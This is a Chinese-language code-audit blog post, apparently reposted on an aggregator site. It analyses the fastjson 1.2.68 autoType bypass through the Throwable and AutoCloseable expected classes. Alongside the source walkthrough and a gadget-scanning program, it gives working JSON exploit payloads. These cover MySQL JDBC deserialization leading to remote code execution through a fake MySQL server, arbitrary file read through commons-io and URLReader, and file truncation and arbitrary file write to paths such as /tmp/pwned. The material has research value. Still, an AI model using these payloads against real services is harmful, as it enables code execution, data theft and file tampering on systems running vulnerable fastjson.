| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> Java知识库 -> 代码审计-fastjson1.2.68分析 -> 正文阅读 |
|
[Java知识库]代码审计-fastjson1.2.68分析 |
前言1.2.68有safeMode,但是默认不是开启的,所以还是有风险 分析1根据网上信息的描述,这次问题点主要是在checkAutoType参数期望类这个地方 看看哪些地方会调用checkAutoType方法并使用到期望类这个参数 发现主要是2个地方会使用到
那哪些地方会使用到这两个类的对应的deserialze方法呢? 发现这个地方刚好是常规的@type进行checkAutoType检查后进行反序列化的时候会调用到; 先构造反序列化器,也就是说如果我们@type的值对应的类构造的反序列化器是JavaBeanDeserializer或者ThrowableDeserializer,就会触发deserialze,同时有希望触发带有期望类参数的checkAutoType达到我们的目的 总结成一句话就是:寻找怎么才能调用到带有expectClass参数的checkAutoType方法 分析2那这俩个反序列化器是怎么构造出来的呢? 我们跟一下config.getDeserializer(clazz) 重载,经过一系列的各种class的判断,到了这 如果clazz是Throwable的子类,那么就返回ThrowableDeserializer 如果所有条件都不满足,那么就会调用createJavaBeanDeserializer去新建JavaBeanDeserializer 跟进新建函数,发现是接口的情况,asmEnable为false,可以创建javaBeanDeserializer对象,否则调用的asmFactory.createJavaBeanDeserializer进行创建,不是我们想要的 ThrowableDeserializer分析要使用到com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer这个反序列化器,根据上面的分析,那么我们@type传入的就应该是Throwable的子类 所以poc(这里就直接用的他本身了) 因为java.lang.Throwable不在mapping和可信任的map中,所以这里要手动开启autoTypeSupport ParserConfig.getGlobalInstance().setAutoTypeSupport(true); {"@type":"java.lang.Throwable", "a":"b"} 运行,跟,可以看到这个时候我们的反序列化器deserializer确实是我们预计的ThrowableDeserializer类 进入deserialize,然后一直F8,发现payload后续参数满足条件键值对的键是@type,就可以调用带有期望类参数的checkAutoType 所以修改一下payload {"@type":"java.lang.Throwable", "@type":"org.example.App"} 然后跟到刚才的地方 key为@type,exClass为我们输入的@type对应的值org.example.App,进入checkAutoType(期望类为Throwable.class,平时一般为null) 通过各种黑白名单的检查,一直到这,loadClass(因为这里开启了autoTypeSupport,所以cacheClass为true) 跟进看看,其实就是给它加到mapping中 再返回到checkAutoType继续往下,如果传入的clazz是期望类的子类,就通过autoType检查返回clazz 也就是说,我们的第二个@type对应的类必须是期望类java.lang.Throwable的子类,我们这里是自己随便写的一个类明显不是Throwable的子类,会抛出异常,所以找一个它的子类改一下payload {"@type":"java.lang.Throwable", "@type":"java.lang.Error"} 运行到刚才的地方,成功返回clazz 如果payload中还有其他的参数,关键参数如message会被用作后续的构造函数的参数等,otherValues就是传入的其他参数,比如"a":"b"这种,在创建实例后会进行setValue操作 再往后就是创建一个实例,用上刚才传入的参数啥的 跟进就是通过反射获取构造函数再创建实例 有参数的情况下会执行setValue操作,也就是会调用setXXX方法 利用通过上述的分析,开启ast的情况下,如果我们能找到一个java.lang.Throwable的子类,且其的setter或者getter能执行危险操作,就有可利用的嫌疑
举个例子:
package org.example; @Data public class User extends Error{ ? ?private String test; ? ?public void setTest(String test) { ? ? ? ?System.out.println("call setTest"); ? ? ? ?System.out.println("test value: " + test); ? ? ? ?this.test = test; ? ?} }
{"@type":"java.lang.Throwable", "@type":"org.example.User", "test":"hahahaha"} JavaBeanDeserializer分析在获取反序列化器的时候,如果是一个接口,且里面所有的判断都不满足,就会返回JavaBeanDeserializer 我们随便创建一个接口 package org.example; } payload {"@type":"org.example.Test", "test":"hahahaha"} 运行,一直到获取了反序列化器进行反序列化 跟进,看看里面的判断条件,一阵F8后,看到了熟悉的东西 也就是说和刚才那个一样,还得需要一个@type,修改payload {"@type":"org.example.Test", "@type":"org.example.Test1", "test":"hahahaha"} 熟悉的味道 往下,进入checkAutoType,expectClass为我们传入的第一个接口 又一直F8,来到了熟悉的地方,loadClass,给我们的传入的第二个@type的类加入到mapping中 再往后,这几行基本杜绝了JNDI注入的风险 再继续往下,clazz必须是expectClass的子类,和上面那个类似 我们把接口Test1变成Test的子类,然后继续 通过验证,ok,返回clazz 返回就是常规的setValue了 利用和上面那个差不多一样,只不过这个应用更广泛,只需要找一个接口,然后找一个实现了这个接口的类,类中有可以利用的点即可;最好是可以绕过autoTypeSupport 于是大佬们找到了java.lang.AutoCloseable这个接口,这个接口位于默认的mapping中,有很多子类,不开启autoTypeSupport也可以用(大佬们真牛) 本地先测试下,证明我们的猜想是不是正确的,编写个恶意的类,实现java.lang.AutoCloseable接口 package org.example; ? ?private String test; ? ?public void setTest(String test) { ? ? ? ?System.out.println("call setTest"); ? ? ? ?System.out.println("test value: " + test); ? ? ? ?this.test = test; ? ?} ? ?@Override ? ?public void close() throws Exception { ? ?} } payload(不开启autoTypeSupport) {"@type":"java.lang.AutoCloseable", "@type":"org.example.User", "test":"hahahaha"} Bingo!!! AutoCloseable深入使用小知识1 fastjson除了使用setXXX的方法赋值外,也可以直接对构造函数进行传值反序列为对象,比如 public User(String test){ } 可以通过下面的json来实现赋值,这也是后面payload用到的一个点 { ? ?"test": "123123" } 小知识2 在分析过程中,反序列化操作时,我们还发现存在一个key $ref, 这个$ref参数的作用是什么呢?简单来说就是从其他地方获取一个对象当作参数传进去,有兴趣的小伙伴可以自己跟一下,我跟过一次了就不再重复了
举个例子(把User类对象当成参数传到T类中)
package org.example; ? ?private String test; ? ?public void setTest(String test) { ? ? ? ?System.out.println("call setTest"); ? ? ? ?System.out.println("test value: " + test); ? ? ? ?this.test = test; ? ?} ? ?public String getTest() { ? ? ? ?return test; ? ?} ? ?@Override ? ?public void close() throws Exception { ? ?} }
package org.example; ? ?private User user; ? ?public void setUser(User user) { ? ? ? ?System.out.println("call setUser"); ? ? ? ?this.user = user; ? ?} ? ?public User getUser() { ? ? ? ?return user; ? ?} ? ?@Override ? ?public void close() throws Exception { ? ?} }
{ ? ?{ ? ? ? ?"@type":"java.lang.AutoCloseable", ? ? ? ?"@type": "org.example.User", ? ? ? ?"test": "test666" ? ?}, ? ?"t": ? ?{ ? ? ? ?"@type":"java.lang.AutoCloseable", ? ? ? ?"@type": "org.example.T", ? ? ? ?"user":{ ? ? ? ? ? ?"$ref": "$.user" ? ? ? ?} ? ?} } 运行poc,T类在执行setUser操作时,传入的参数为前面参数user实例化的类User,结果如下 call setTest call setUser {"t":{"user":{"test":"test666"}},"user":{"$ref":"$.t.user"}} 好坑 网上流传一个简单的Payload,没有就创建文件,有就置空文件内容 { ? ?'@type':'java.io.FileWriter', ? ?'file':'/tmp/nonexist', ? ?'append':false } 给file改成自己的路径,但是我各种测试,发现有问题,一直报错 Exception in thread "main" com.alibaba.fastjson.JSONException: default constructor not found. class java.io.FileWriter 然后跟着一顿调试,发现是com.alibaba.fastjson.util.ASMUtils#lookupParameterNames这里面的问题,不能获取到FileWriter构造函数的参数名,但是又没有public FileWriter(){}这个构造函数,所以不能生成实例会报错。。。 自己写一个构造函数,然后尝试去反序列化,发现又可以获取到构造函数的参数名。。。
package org.example; ? ?public User(String file){ ? ? ? ?System.out.println(file); ? ?} ? ?public User( String file, boolean append){ ? ? ? ?System.out.println(append); ? ? ? ?System.out.println(file); ? ?} ? ?@Override ? ?public void close() throws Exception { ? ?} }
{ ? ?'@type':'org.example.User', ? ?'file':'/tmp/test.txt', ? ?'append':false } 然后经过各种查资料,发现?https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg?中有说这个问题 总结一下就是:
可以通过如下命令来检查,如果有输出 LocalVariableTable,则证明其 class 字节码里的构造函数参数包含有参数名信息: javap -l <class_name> | grep LocalVariableTable
知识点3 通过分析发现,不是所有的构造函数的参数名都可以使用,而是第一个 参数名最多 的构造函数中的参数名才可以使用, 比如org.apache.commons.io.output.FileWriterWithEncoding,同时有public FileWriterWithEncoding(File file, CharsetEncoder encoding, boolean append) 和 public FileWriterWithEncoding(String filename, CharsetEncoder encoding, boolean append)2个3参数名的构造函数,fastjson在识别到file encoding append这3个参数名后,后续就算识别到filename encoding append也会跳过参数名更新,所以不能用filename作为参数,只能使用file。。。 根据fastjson的识别机制,具体原因是因为: 利用链挖掘AutoCloseable接口位于java.lang包下,从JDK1.7开始引入,java的io流间接性的可以自动关闭接口,也就是说从jdk1.7开始,不需要手动去关流。 所以我们关注的一些包主要是进行流操作的包,从他的子类或者实现类也可以看出来。 整理一下我的盲挖掘的思路:(不是那么专业,大佬见谅)
这里也用大佬们挖过的commons-io为例吧 Pom.xml
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --> ? ? ?<groupId>com.alibaba</groupId> ? ? ?<artifactId>fastjson</artifactId> ? ? ?<version>1.2.68</version> ? ?</dependency> <!-- ? ?获取所有子类方法所需要的依赖--> <!-- ? ?来源:https://zhuanlan.zhihu.com/p/355050724--> ? ?<dependency> ? ? ?<groupId>org.springframework</groupId> ? ? ?<artifactId>spring-webmvc</artifactId> ? ? ?<version>5.1.6.RELEASE</version> ? ?</dependency> 盲搜索代码 package org.example; import org.springframework.core.io.Resource; import org.springframework.core.io.support.PathMatchingResourcePatternResolver; import org.springframework.core.type.classreading.SimpleMetadataReaderFactory; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.Arrays; public class App { ? ?public static void main(String[] args) throws IOException, ClassNotFoundException { ? ? ? ?Class<?> aClass = Class.forName("java.lang.AutoCloseable"); // 超类 ? ? ? ?PathMatchingResourcePatternResolver resolver = new PathMatchingResourcePatternResolver(); ? ? ? ?// 1.加载資源 ? ?classpath*:com/hadluo/**/*.class : 找环境变量下的 org/apache/commons/io下的 所有.class文件 ? ? ? ?Resource[] resources = resolver.getResources("classpath*:org/apache/commons/io/**/*.class"); ? ? ? ?for (Resource res : resources) { ? ? ? ? ? ?// 先获取resource的元信息,然后获取class元信息,最后得到 class 全路径 ? ? ? ? ? ?String clsName = new SimpleMetadataReaderFactory().getMetadataReader(res).getClassMetadata().getClassName(); ? ? ? ? ? ?// 2. 通过名称加载类 ? ? ? ? ? ?Class tmpClass = Class.forName(clsName); ? ? ? ? ? ?// 3. 判断是不是 aClass 的子类 ? ? ? ? ? ?if (aClass.isAssignableFrom(tmpClass)) { ? ? ? ? ? ? ? ?// 4. 判断能否识别构造函数参数名,直接copy的fastjson里面的代码 ? ? ? ? ? ? ? ?Constructor<?> creatorConstructor = null; // 构造函数 ? ? ? ? ? ? ? ?String[] paramNames = null; // 存放所有参数,只有这个构造函数的参数名会使用,其他的构造函数都不能用,参考com.alibaba.fastjson.util.JavaBeanInfo.build(java.lang.Class<?>, java.lang.reflect.Type, com.alibaba.fastjson.PropertyNamingStrategy, boolean, boolean, boolean)里面的逻辑(知识点3) ? ? ? ? ? ? ? ?Constructor[] constructors = tmpClass.getDeclaredConstructors(); ? ? ? ? ? ? ? ?for (Constructor constructor : constructors) { ? ? ? ? ? ? ? ? ? ?String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor); ? ? ? ? ? ? ? ? ? ?if (lookupParameterNames == null || lookupParameterNames.length == 0) { ? ? ? ? ? ? ? ? ? ? ? ?continue; ? ? ? ? ? ? ? ? ? ?} ? ? ? ? ? ? ? ? ? ?if (creatorConstructor != null ? ? ? ? ? ? ? ? ? ? ? ? ? ?&& paramNames != null && lookupParameterNames.length <= paramNames.length) { ? ? ? ? ? ? ? ? ? ? ? ?continue; ? ? ? ? ? ? ? ? ? ?} ? ? ? ? ? ? ? ? ? ?paramNames = lookupParameterNames; ? ? ? ? ? ? ? ? ? ?creatorConstructor = constructor; ? ? ? ? ? ? ? ?} ? ? ? ? ? ? ? ?if (paramNames != null) { ? ? ? ? ? ? ? ? ? ?System.out.println("构造函数可用:" + creatorConstructor + " <== 可用参数名:" + Arrays.toString(paramNames)); ? ? ? ? ? ? ? ?} ? ? ? ? ? ? ? ?// 5. 判断是否有setXXX方法 ? ? ? ? ? ? ? ?Method[] declaredMethods = tmpClass.getDeclaredMethods(); ? ? ? ? ? ? ? ?for (Method method : declaredMethods) { ? ? ? ? ? ? ? ? ? ?if (method.getName().startsWith("set")) { ? ? ? ? ? ? ? ? ? ? ? ?System.out.println("setXXX可用:" + method); ? ? ? ? ? ? ? ? ? ?} ? ? ? ? ? ? ? ?} ? ? ? ? ? ?} ? ? ? ?} ? ?} } 运行看看哪些类可能可以用 构造函数可用:public org.apache.commons.io.input.AutoCloseInputStream(java.io.InputStream) <== 可用参数名:[in] 构造函数可用:public org.apache.commons.io.input.BoundedInputStream(java.io.InputStream,long) <== 可用参数名:[in, size] setXXX可用:public void org.apache.commons.io.input.BoundedInputStream.setPropagateClose(boolean) 构造函数可用:public org.apache.commons.io.input.BrokenInputStream(java.io.IOException) <== 可用参数名:[exception] 构造函数可用:public org.apache.commons.io.input.CharSequenceInputStream(java.lang.CharSequence,java.lang.String,int) <== 可用参数名:[s, charset, bufferSize] 构造函数可用:public org.apache.commons.io.input.CharSequenceReader(java.lang.CharSequence) <== 可用参数名:[charSequence] 构造函数可用:public org.apache.commons.io.input.ClassLoaderObjectInputStream(java.lang.ClassLoader,java.io.InputStream) throws java.io.IOException,java.io.StreamCorruptedException <== 可用参数名:[classLoader, inputStream] 构造函数可用:public org.apache.commons.io.input.CloseShieldInputStream(java.io.InputStream) <== 可用参数名:[in] 构造函数可用:public org.apache.commons.io.input.CountingInputStream(java.io.InputStream) <== 可用参数名:[in] 构造函数可用:public org.apache.commons.io.input.NullInputStream(long,boolean,boolean) <== 可用参数名:[size, markSupported, throwEofException] 构造函数可用:public org.apache.commons.io.input.NullReader(long,boolean,boolean) <== 可用参数名:[size, markSupported, throwEofException] 构造函数可用:public org.apache.commons.io.input.ProxyInputStream(java.io.InputStream) <== 可用参数名:[proxy] 构造函数可用:public org.apache.commons.io.input.ProxyReader(java.io.Reader) <== 可用参数名:[proxy] 构造函数可用:public org.apache.commons.io.input.ReaderInputStream(java.io.Reader,java.lang.String,int) <== 可用参数名:[reader, charsetName, bufferSize] 构造函数可用:public org.apache.commons.io.input.ReversedLinesFileReader(java.io.File,int,java.lang.String) throws java.io.IOException <== 可用参数名:[file, blockSize, encoding] 构造函数可用:public org.apache.commons.io.input.SwappedDataInputStream(java.io.InputStream) <== 可用参数名:[input] 构造函数可用:public org.apache.commons.io.input.TaggedInputStream(java.io.InputStream) <== 可用参数名:[proxy] 构造函数可用:public org.apache.commons.io.input.TeeInputStream(java.io.InputStream,java.io.OutputStream,boolean) <== 可用参数名:[input, branch, closeBranch] 构造函数可用:public org.apache.commons.io.input.XmlStreamReader(java.io.InputStream,java.lang.String,boolean,java.lang.String) throws java.io.IOException <== 可用参数名:[is, httpContentType, lenient, defaultEncoding] 构造函数可用:public org.apache.commons.io.output.BrokenOutputStream(java.io.IOException) <== 可用参数名:[exception] 构造函数可用:public org.apache.commons.io.output.ByteArrayOutputStream(int) <== 可用参数名:[size] 构造函数可用:public org.apache.commons.io.output.CloseShieldOutputStream(java.io.OutputStream) <== 可用参数名:[out] 构造函数可用:public org.apache.commons.io.output.CountingOutputStream(java.io.OutputStream) <== 可用参数名:[out] 构造函数可用:private org.apache.commons.io.output.DeferredFileOutputStream(int,java.io.File,java.lang.String,java.lang.String,java.io.File) <== 可用参数名:[threshold, outputFile, prefix, suffix, directory] 构造函数可用:public org.apache.commons.io.output.FileWriterWithEncoding(java.io.File,java.lang.String,boolean) throws java.io.IOException <== 可用参数名:[file, encoding, append] 构造函数可用:public org.apache.commons.io.output.LockableFileWriter(java.io.File,java.nio.charset.Charset,boolean,java.lang.String) throws java.io.IOException <== 可用参数名:[file, encoding, append, lockDir] 构造函数可用:public org.apache.commons.io.output.ProxyOutputStream(java.io.OutputStream) <== 可用参数名:[proxy] 构造函数可用:public org.apache.commons.io.output.ProxyWriter(java.io.Writer) <== 可用参数名:[proxy] 构造函数可用:public org.apache.commons.io.output.StringBuilderWriter(java.lang.StringBuilder) <== 可用参数名:[builder] 构造函数可用:public org.apache.commons.io.output.TaggedOutputStream(java.io.OutputStream) <== 可用参数名:[proxy] 构造函数可用:public org.apache.commons.io.output.TeeOutputStream(java.io.OutputStream,java.io.OutputStream) <== 可用参数名:[out, branch] 构造函数可用: public org.apache.commons.io.output.ThresholdingOutputStream(int) <== 可用参数名:[threshold] 构造函数可用:public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.CharsetDecoder,int,boolean) <== 可用参数名:[writer, decoder, bufferSize, writeImmediately] 构造函数可用: public org.apache.commons.io.output.XmlStreamWriter(java.io.File,java.lang.String) throws java.io.FileNotFoundException <== 可用参数名:[file, defaultEncoding] 任意文件写入参考:https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg 我这里就不赘述了,贴个简单的,文件新建或者置空 用org.apache.commons.io.output.FileWriterWithEncoding这个类 跟一下initWriter,当append为false时,如果文件存在,就置空,不存在就新建 试试,POC { ? ? ? ?"@type":"java.lang.AutoCloseable", ? ? ? ?"@type": "org.apache.commons.io.output.FileWriterWithEncoding", ? ? ? ?"file": "/Users/d4m1ts/Downloads/a.txt", ? ? ? ?"encoding": "UTF-8" ? ? ? ?}, ? ?"新建":{ ? ? ? ?"@type":"java.lang.AutoCloseable", ? ? ? ?"@type": "org.apache.commons.io.output.FileWriterWithEncoding", ? ? ? ?"file": "/Users/d4m1ts/Downloads/b.txt", ? ? ? ?"encoding": "UTF-8" ? ? ? ?} } 链利用Mysql JDBC RCE搭配使用 https://github.com/fnmsd/MySQL_Fake_Server mysql 5.1.x >= 5.1.11 5.1.11及以上的5.x版本 所需依赖 <!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java --> ? ? ?<groupId>mysql</groupId> ? ? ?<artifactId>mysql-connector-java</artifactId> ? ? ?<version>5.1.11</version> ? ?</dependency> ? ?<dependency> ? ? ?<groupId>commons-collections</groupId> ? ? ?<artifactId>commons-collections</artifactId> ? ? ?<version>3.1</version> ? ?</dependency> Payload { ? ?"@type":"java.lang.AutoCloseable", ? ?"@type": "com.mysql.jdbc.JDBC4Connection", ? ?"hostToConnectTo": "127.0.0.1", ? ?"portToConnectTo": 3306, ? ?"info": ? ?{ ? ? ? ?"user": "CommonsCollections5", // 利用链,自己在MySQL_Fake_Server的conf里面改,具体看他的readme ? ? ? ?"password": "pass", ? ? ? ?"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", ? ? ? ?"autoDeserialize": "true", ? ? ? ?"NUM_HOSTS": "1" ? ?}, ? ?"databaseToConnectTo": "dbname", ? ?"url": "" } 效果 Mysqlconnector 6.0.2 or 6.0.3 所需依赖 <dependency> ? ? ?<artifactId>mysql-connector-java</artifactId> ? ? ?<version>6.0.2</version> ? ?</dependency> Payload { ? ?"@type":"java.lang.AutoCloseable", ? ?"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", ? ?"proxy": ? ?{ ? ? ? ?"connectionString": ? ? ? ?{ ? ? ? ? ? ?"url": "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5" ? ? ? ?} ? ?} } 效果 Mysqlconnector 6.x or < 8.0.20 所需依赖 <!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java --> ? ? ?<groupId>mysql</groupId> ? ? ?<artifactId>mysql-connector-java</artifactId> ? ? ?<version>8.0.19</version> ? ?</dependency> Payload { ? ?"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection", ? ?"proxy": ? ?{ ? ? ? ?"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy", ? ? ? ?"connectionUrl": ? ? ? ?{ ? ? ? ? ? ?"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl", ? ? ? ? ? ?"masters": ? ? ? ? ? ?[ ? ? ? ? ? ? ? ?{ ? ? ? ? ? ? ? ? ? ?"host": "127.0.0.1" ? ? ? ? ? ? ? ?} ? ? ? ? ? ?], ? ? ? ? ? ?"slaves": ? ? ? ? ? ?[], ? ? ? ? ? ?"properties": ? ? ? ? ? ?{ ? ? ? ? ? ? ? ?"host": "127.0.0.1", ? ? ? ? ? ? ? ?"user": "CommonsCollections5", ? ? ? ? ? ? ? ?"dbname": "dbname", ? ? ? ? ? ? ? ?"password": "pass", ? ? ? ? ? ? ? ?"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor", ? ? ? ? ? ? ? ?"autoDeserialize": "true" ? ? ? ? ? ?} ? ? ? ?} ? ?} } 效果 commons-io文件读取 所需依赖 <!-- https://mvnrepository.com/artifact/commons-io/commons-io --> ? ? ?<groupId>commons-io</groupId> ? ? ?<artifactId>commons-io</artifactId> ? ? ?<version>2.4</version> ? ?</dependency> Payload { ? ? ? ?"@type": "java.lang.AutoCloseable", ? ? ? ?"@type": "org.apache.commons.io.input.BOMInputStream", ? ? ? ?"delegate": { ? ? ? ? ? ?"@type": "org.apache.commons.io.input.ReaderInputStream", ? ? ? ? ? ?"reader": { ? ? ? ? ? ? ? ?"@type": "jdk.nashorn.api.scripting.URLReader", ? ? ? ? ? ? ? ?"url": "file:///Users/d4m1ts/Downloads/a.txt" ? ? ? ? ? ?}, ? ? ? ? ? ?"charsetName": "UTF-8", ? ? ? ? ? ?"bufferSize": 1024 ? ? ? ?}, ? ? ? ?"boms": [{ ? ? ? ? ? ?"charsetName": "UTF-8", ? ? ? ? ? ?"bytes": [49] // 如果读出来的第一个字节是49,就返回,否则返回空 ? ? ? ?}] ? ?}, ? ?"address": { ? ? ? ?"$ref": "$.abc.BOM" ? ?} } { ? ?"abc": { ? ? ? ?"@type": "java.lang.AutoCloseable", ? ? ? ?"@type": "org.apache.commons.io.input.BOMInputStream", ? ? ? ?"delegate": { ? ? ? ? ? ?"@type": "org.apache.commons.io.input.ReaderInputStream", ? ? ? ? ? ?"reader": { ? ? ? ? ? ? ? ?"@type": "jdk.nashorn.api.scripting.URLReader", ? ? ? ? ? ? ? ?"url": "file:///Users/d4m1ts/Downloads/a.txt" ? ? ? ? ? ?}, ? ? ? ? ? ?"charsetName": "UTF-8", ? ? ? ? ? ?"bufferSize": 1024 ? ? ? ?}, ? ? ? ?"boms": [{ ? ? ? ? ? ?"charsetName": "UTF-8", ? ? ? ? ? ?"bytes": [49,50] // 如果读出来的第一个字节是49,第二个字节是50,就返回,否则返回空 ? ? ? ?}] ? ?}, ? ?"address": { ? ? ? ?"$ref": "$.abc.BOM" ? ?} } 效果 commons-io2.x文件写入 注意事项:写入内容的长度必须要>8192,不然会失败;实际写入的内容只有前8192个字符,后面的不会写入 commons-io 2.0 - 2.6 版本 { ? ?"@type":"com.alibaba.fastjson.JSONObject", ? ?"input":{ ? ? ?"@type":"java.lang.AutoCloseable", ? ? ?"@type":"org.apache.commons.io.input.ReaderInputStream", ? ? ?"reader":{ ? ? ? ?"@type":"org.apache.commons.io.input.CharSequenceReader", ? ? ? ?"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)" ? ? ?}, ? ? ?"charsetName":"UTF-8", ? ? ?"bufferSize":1024 ? ?}, ? ?"branch":{ ? ? ?"@type":"java.lang.AutoCloseable", ? ? ?"@type":"org.apache.commons.io.output.WriterOutputStream", ? ? ?"writer":{ ? ? ? ?"@type":"org.apache.commons.io.output.FileWriterWithEncoding", ? ? ? ?"file":"/tmp/pwned", ? ? ? ?"encoding":"UTF-8", ? ? ? ?"append": false ? ? ?}, ? ? ?"charsetName":"UTF-8", ? ? ?"bufferSize": 1024, ? ? ?"writeImmediately": true ? ?}, ? ?"trigger":{ ? ? ?"@type":"java.lang.AutoCloseable", ? ? ?"@type":"org.apache.commons.io.input.XmlStreamReader", ? ? ?"is":{ ? ? ? ?"@type":"org.apache.commons.io.input.TeeInputStream", ? ? ? ?"input":{ ? ? ? ? ?"$ref":"$.input" ? ? ? ?}, ? ? ? ?"branch":{ ? ? ? ? ?"$ref":"$.branch" ? ? ? ?}, ? ? ? ?"closeBranch": true ? ? ?}, ? ? ?"httpContentType":"text/xml", ? ? ?"lenient":false, ? ? ?"defaultEncoding":"UTF-8" ? ?}, ? ?"trigger2":{ ? ? ?"@type":"java.lang.AutoCloseable", ? ? ?"@type":"org.apache.commons.io.input.XmlStreamReader", ? ? ?"is":{ ? ? ? ?"@type":"org.apache.commons.io.input.TeeInputStream", ? ? ? ?"input":{ ? ? ? ? ?"$ref":"$.input" ? ? ? ?}, ? ? ? ?"branch":{ ? ? ? ? ?"$ref":"$.branch" ? ? ? ?}, ? ? ? ?"closeBranch": true ? ? ?}, ? ? ?"httpContentType":"text/xml", ? ? ?"lenient":false, ? ? ?"defaultEncoding":"UTF-8" ? ?}, ? ?"trigger3":{ ? ? ?"@type":"java.lang.AutoCloseable", ? ? ?"@type":"org.apache.commons.io.input.XmlStreamReader", ? ? ?"is":{ ? ? ? ?"@type":"org.apache.commons.io.input.TeeInputStream", ? ? ? ?"input":{ ? ? ? ? ?"$ref":"$.input" ? ? ? ?}, ? ? ? ?"branch":{ ? ? ? ? ?"$ref":"$.branch" ? ? ? ?}, ? ? ? ?"closeBranch": true ? ? ?}, ? ? ?"httpContentType":"text/xml", ? ? ?"lenient":false, ? ? ?"defaultEncoding":"UTF-8" ? ?} ?} } commons-io 2.7 - 2.8.0 版本: { ? ?"@type":"com.alibaba.fastjson.JSONObject", ? ?"input":{ ? ? ?"@type":"java.lang.AutoCloseable", ? ? ?"@type":"org.apache.commons.io.input.ReaderInputStream", ? ? ?"reader":{ ? ? ? ?"@type":"org.apache.commons.io.input.CharSequenceReader", ? ? ? ?"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)", ? ? ? ?"start":0, ? ? ? ?"end":2147483647 ? ? ?}, ? ? ?"charsetName":"UTF-8", ? ? ?"bufferSize":1024 ? ?}, ? ?"branch":{ ? ? ?"@type":"java.lang.AutoCloseable", ? ? ?"@type":"org.apache.commons.io.output.WriterOutputStream", ? ? ?"writer":{ ? ? ? ?"@type":"org.apache.commons.io.output.FileWriterWithEncoding", ? ? ? ?"file":"/tmp/pwned", ? ? ? ?"charsetName":"UTF-8", ? ? ? ?"append": false ? ? ?}, ? ? ?"charsetName":"UTF-8", ? ? ?"bufferSize": 1024, ? ? ?"writeImmediately": true ? ?}, ? ?"trigger":{ ? ? ?"@type":"java.lang.AutoCloseable", ? ? ?"@type":"org.apache.commons.io.input.XmlStreamReader", ? ? ?"inputStream":{ ? ? ? ?"@type":"org.apache.commons.io.input.TeeInputStream", ? ? ? ?"input":{ ? ? ? ? ?"$ref":"$.input" ? ? ? ?}, ? ? ? ?"branch":{ ? ? ? ? ?"$ref":"$.branch" ? ? ? ?}, ? ? ? ?"closeBranch": true ? ? ?}, ? ? ?"httpContentType":"text/xml", ? ? ?"lenient":false, ? ? ?"defaultEncoding":"UTF-8" ? ?}, ? ?"trigger2":{ ? ? ?"@type":"java.lang.AutoCloseable", ? ? ?"@type":"org.apache.commons.io.input.XmlStreamReader", ? ? ?"inputStream":{ ? ? ? ?"@type":"org.apache.commons.io.input.TeeInputStream", ? ? ? ?"input":{ ? ? ? ? ?"$ref":"$.input" ? ? ? ?}, ? ? ? ?"branch":{ ? ? ? ? ?"$ref":"$.branch" ? ? ? ?}, ? ? ? ?"closeBranch": true ? ? ?}, ? ? ?"httpContentType":"text/xml", ? ? ?"lenient":false, ? ? ?"defaultEncoding":"UTF-8" ? ?}, ? ?"trigger3":{ ? ? ?"@type":"java.lang.AutoCloseable", ? ? ?"@type":"org.apache.commons.io.input.XmlStreamReader", ? ? ?"inputStream":{ ? ? ? ?"@type":"org.apache.commons.io.input.TeeInputStream", ? ? ? ?"input":{ ? ? ? ? ?"$ref":"$.input" ? ? ? ?}, ? ? ? ?"branch":{ ? ? ? ? ?"$ref":"$.branch" ? ? ? ?}, ? ? ? ?"closeBranch": true ? ? ?}, ? ? ?"httpContentType":"text/xml", ? ? ?"lenient":false, ? ? ?"defaultEncoding":"UTF-8" ? ?} ?} 效果 总结总结一下,首先要可以调用带有期望类参数的checkAutoType函数,然后payload第一个类是期望类,第二个类要继承第一个类,这样就可以直接被添加到内部mapping中,然后传入恶意的参数构造利用即可 但是因为checkAutoType代码限制,JNDI注入的类基本都被拦截了,绕不过还 参考链接
|
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/24 10:46:56- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |